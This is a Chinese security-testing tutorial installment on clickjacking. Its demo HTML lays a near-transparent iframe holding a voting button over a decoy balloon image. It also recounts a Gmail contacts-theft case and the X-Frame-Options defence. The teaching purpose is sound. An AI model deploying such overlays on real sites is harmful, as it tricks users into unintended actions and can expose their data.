软件安全性测试（连载7）
2.3点击挟持
在介绍点击挟持（clickjacking）之前来先看一下以下两段HTML代码。
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="ie=edge">
<title>click jacking demo</title>
<style>
body {
padding: 0;
margin: 0
}
.png {
height: 100%;
width: 100%;
}
.iframe {
width:1840px;
height:900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 3;
-moz-opacity: 0.3;
opacity:0.1;
filter: alpha(opacity=0);
}
.btn {
display: inline-block;
padding: 2px 3px;
background: burlywood;
color: #fff;
position: absolute;
top: 221px;
left: 766px;
z-index: 2;
cursor: pointer;
border-radius: 30%
}
</style>
</head>
<body>
<img src="./image/clickme.jpeg"alt="">
<iframeclass="iframe" src="./iframe.html" scolling='no'allowTransparency="true"></iframe>
<span>click</span>
</body>
</html>
iframe.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="ie=edge">
<title>Document</title>
<style>
.vote{
width: 300px;
margin: 0 auto;
margin-top: 220px
}
</style>
</head>
<body>
<div>
<inputtype="hidden" value="5号选手" readonly>
<button>投票</button>
</div>
<script>
var span =document.getElementsByTagName('button')[0]
span.addEventListener('click', function(){
console.log('哈哈，谢谢你偷偷帮我投票～')
})
</script>
</body>
</html>
在index.html里嵌入了一张图片和一个iframe，一个专门给5号选手投票的页面（估计黑客就是5号选手）的iframe，命名为iframe.html。
嵌入的图片如15所示。
15 index.html中的图片
index.html代码中“.iframe {”中的“width: 1840px;”和“height: 900px;”是精心设计的CSS参数，使提交按钮正好在两个上升的气球上面，由于opacity设置为 0.1;不是很清晰。16中圈起来的部分是将opacity设置为0.5的效果。
16 index.html中嵌入iframe的效果
当用户在点击热气球的时候，其实帮5号选手投了票。
由此可见点击挟持首次出现在2008年，是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。就是通过iframe结合CSS技术，使用户在执行某个操作的时候替黑客执行了某个动作。
关于点击挟持最有名的是：获取到用户的Gmail通讯录内容，如17所示。
17 Gmail用户信息被窃取
当用户把海豚下面的球放到海豚的嘴部上端，Gmail的信息就被后台获取到。
防止点击挟持最有效的方法是在HTML请求头部加上X-Frame-Options:SAMEORIGIN。在热气球的index.html把iframe的sec改为。
<iframeclass="iframe" src="http://www.douban.com" scolling='no'allowTransparency="true"></iframe>
会出现“www.douban.com 拒绝了我们的连接请求。”的提示。原因就是豆瓣网站在所有的页面HTML响应头部都加上X-Frame-Options:SAMEORIGIN属性。